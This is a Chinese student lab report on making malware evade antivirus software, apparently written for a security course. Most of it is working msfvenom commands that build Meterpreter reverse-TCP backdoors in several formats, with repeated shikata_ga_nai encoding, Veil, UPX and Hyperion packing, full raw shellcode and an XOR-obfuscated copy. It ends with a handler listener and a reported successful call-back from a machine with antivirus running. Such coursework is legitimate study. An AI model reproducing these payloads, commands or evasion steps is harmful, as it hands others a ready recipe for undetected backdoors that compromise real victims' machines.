1.实践内容
1.1实验目的
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2实验问题
掌握免杀原理与技术
回答问题
(1)杀软是如何检测出恶意代码的?
基于特征码:杀毒软件通过比对一个可执行文件是否包含一段或多段符合特征的数据来判断是否是恶意代码。
启发式恶意软件检测:通过分析文件的行为和外观特征来推断是否为恶意代码。
基于行为的检测:通过监控程序的运行时行为,如API调用、系统修改、网络活动等,来判断程序是否具有恶意性。
(2)免杀是做什么?
是一种能使病毒木马免于被杀毒软件查杀的技术。通过修改恶意软件的内容,改变其特征码,从而躲避杀毒软件的检测。
(3)免杀的基本方法有哪些?
修改特征码:通过破坏病毒或木马的特征码来避免被杀毒软件查杀。
加壳:通过加壳技术,可以改变程序的二进制结构,使得原有的特征码发生变化,从而躲避杀毒软件的检测。
花指令免杀:花指令是一段无用代码,用来迷惑杀毒软件,增加反汇编的难度,从而影响杀毒软件对特征码的识别。
1.3本周学习内容
本周主要学习关于后门技术的知识,了解了ncat,socat等工具的应用,同时学习了如何创建不同种类的后门文件。
2.实验过程
2.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 使用msfvenom生成.exe后门可执行程序
(1)输入指令msfvenom查看支持的所有输出格式:输入msfvenom --list formats;
输入msfvenom查看支持的所有编码方式:输入msfvenom --list encoders;
(2)不使用编码器生成后门程序20222417ywxd.exe
指令为:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.133 LPORT=2417 -f exe > 20222417ywxd.exe
将生成的后门文件放入VirScan中进行检测
(3)然后使用编码器对程序20222417_1.exe进行一次编码,指令为:msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.17.133 LPORT=9999 -f exe > 20222417_1.exe
将此次生成的后门文件放入VirScan中进行检测
(4)使用编码器对程序20222417_2.exe进行22次编码,指令为:msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -i 22 -b ‘\x00’ LHOST=192.168.17.133 LPORT=9999 -f exe > 20222417_2.exe
将生成的后门文件放入VirScan中进行检测
(5)生成其他格式的文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.17.133 LPORT=9999 -f jar > 20222417.jar
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.17.133 LPORT=9999 -f py > 20222417.py
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.17.133 LPORT=9999 x > 20222417.php
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.17.133 LPORT=9999 x > 20222417.apk
检测结果:
jar:
py:
php:
apk:
2.1.2使用Veil生成后门程序
(1)安装veil
依次输入以下指令下载veil:
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
输入完sudo apt-get install wine32后会发现报错:此时先输入dpkg --add-architecture i386
再输入sudo apt-get update,然后输入sudo apt-get install wine32。
再依次输入:
apt-get install veil ——安装veil
sudo su
cd /usr/share/veil/config/
vim setup.sh
在第200多行的代码中,找到下图内容,按i键进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git,按ESC键,输入:wq退出![]
运行veil进行安装
过程中可能需要安装多个程序,一路默认安装即可
输入use evasion ,进入Evil—Evasion
(2)利用Veil生成后门程序
如图,输入use 7,选择载荷c/meterpreter/rev_tcp后,输入set LHOST 192.168.17.133 和 set LPORT 2417分别set LHOST、LPORT,输入generate指令开始生成文件20222417_veil.exe
将此次生成的后门文件放入VirScan中进行检测
2.1.3加壳处理来试图实现免杀
(1)压缩加壳
输入指令upx 20222417ywxd.exe -o 20222417_upx.exe,对后门文件进行压缩加壳,生成文件20222417_upx.exe。
将此次生成的后门文件放入VirScan中进行检测
(2)加密加壳
输入指令:
cp 20222417ywxd.exe /usr/share/windows-resources/hyperion
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v 20222417ywxd.exe 20222417_hyperion.exe
进行检测
2.1.4采用C+shellcode来试图实现免杀
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.133 LPORT=9999 -f c来获取shellcode编码。
输入vi 20222417_C.c,创建文件并将shellcode加入进去
输入gcc 20222417_C.c -o 20222417_C.exe 采用gcc编译20222417_C.exe文件并传至主机
进行检测
2.2 通过组合应用各种技术实现恶意代码免杀
2.2.1 msfvenom多次编码+压缩加壳
输入指令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 24 -b '\x00' LHOST=192.168.17.133 LPORT=9999 -f exe >20222417_4.exe
upx 20222417ywxd.exe -o 20222417_4_upx.exe
进行检测
2.2.2 C+shellcode编码+异或处理
创建文件20222417.c,把最开始的代码输入其中:
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x6a\x80\x68\x02\x00"
"\x27\x0f\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
在异或处理后输出到文件20222417shellcode.txt
\xfd\xe9\x8e\x1\x1\x1\x61\x88\xe4\x30\xd3\x65\x8a\x53\x31\x8a\x53\xd\x8a\x53\x15\x30\xfe\xe\xb6\x4b\x27\x8a\x73\x29\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\xc0\xce\xc\x0\xc6\x48\x74\xee\x53\x8a\x53\x11\x56\x8a\x43\x3d\x0\xd1\x8a\x41\x79\x84\xc1\x75\x4d\x0\xd1\x51\x8a\x49\x19\x8a\x59\x21\x0\xd2\x84\xc8\x75\x3d\x48\x30\xfe\x8a\x35\x8a\x0\xd7\x30\xc1\xc0\xce\xc\xad\x0\xc6\x39\xe1\x74\xf5\x2\x7c\xf9\x3a\x7c\x25\x74\xe1\x59\x8a\x59\x25\x0\xd2\x67\x8a\xd\x4a\x8a\x59\x1d\x0\xd2\x8a\x5\x8a\x0\xd1\x88\x45\x25\x25\x5a\x5a\x60\x58\x5b\x50\xfe\xe1\x59\x5e\x5b\x8a\x13\xe8\x81\xfe\xfe\xfe\x5c\x69\x32\x33\x1\x1\x69\x76\x72\x33\x5e\x55\x69\x4d\x76\x27\x6\x88\xe9\xfe\xd1\xb9\x91\x0\x1\x1\x28\xc5\x55\x51\x69\x28\x81\x6a\x1\xfe\xd4\x6b\xb\x69\xc1\xa9\x6b\x81\x69\x3\x1\x26\xe\x88\xe7\x51\x51\x51\x51\x41\x51\x41\x51\x69\xeb\xe\xde\xe1\xfe\xd4\x96\x6b\x11\x57\x56\x69\x98\xa4\x75\x60\xfe\xd4\x84\xc1\x75\xb\xfe\x4f\x9\x74\xed\xe9\x66\x1\x1\x1\x6b\x1\x6b\x5\x57\x56\x69\x3\xd8\xc9\x5e\xfe\xd4\x82\xf9\x1\x7f\x37\x8a\x37\x6b\x41\x69\x1\x11\x1\x1\x57\x6b\x1\x69\x59\xa5\x52\xe4\xfe\xd4\x92\x52\x6b\x1\x57\x52\x56\x69\x3\xd8\xc9\x5e\xfe\xd4\x82\xf9\x1\x7c\x29\x59\x69\x1\x41\x1\x1\x6b\x1\x51\x69\xa\x2e\xe\x31\xfe\xd4\x56\x69\x74\x6f\x4c\x60\xfe\xd4\x5f\x5f\xfe\xd\x25\xe\x84\x71\xfe\xfe\xfe\xe8\x9a\xfe\xfe\xfe\x0\xc2\x28\xc7\x74\xc0\xc2\xba\xf1\xb4\xa3\x57\x6b\x1\x52\xfe\xd4
将异或后的文件进行检测
使用火绒查杀本次实验生成的所有后门文件,结果如下
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.17.133 LPORT=9999 -f raw >20222417.raw
生成后门文件20222417.raw
开始进行监听过程,输入msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.17.133
set LPORT 9999
exploit
开始监听
安装[shellcode_launcher:] (https://gitee.com/vantler/shellcode_launcher/)
并同时运行文件20222417.raw
最后成功连接
3.问题及解决方案
问题一:在进行监听时,发现无法监听成功
解决方案:监听过程中,路径系统设置的不对应,未与文件建立时采用的路径相同。
4.学习感悟、思考等
在本次实验中,我对于msfvenom编译各种类型的程序的知识有了更多的了解,创建了一个又一个的后门文件程序。同时学习了免杀的基本原理,通过对不同后门程序的检测,我发现普通的后门程序总是会被大概率查杀,大部分检测都会查杀这类型的程序。最后,经过一步一步的实验,我成功的创建出一个可以逃过免杀的后门程序,这大大增加了我对于病毒木马的了解,也意识到网络中存在大量无法被查杀的病毒风险。
在这次实验中,我认为最为麻烦的是veil的安装过程,复杂且繁琐,让我吃了一些苦头。不过这些苦头极大的培养了我的动手能力以及解决问题的能力。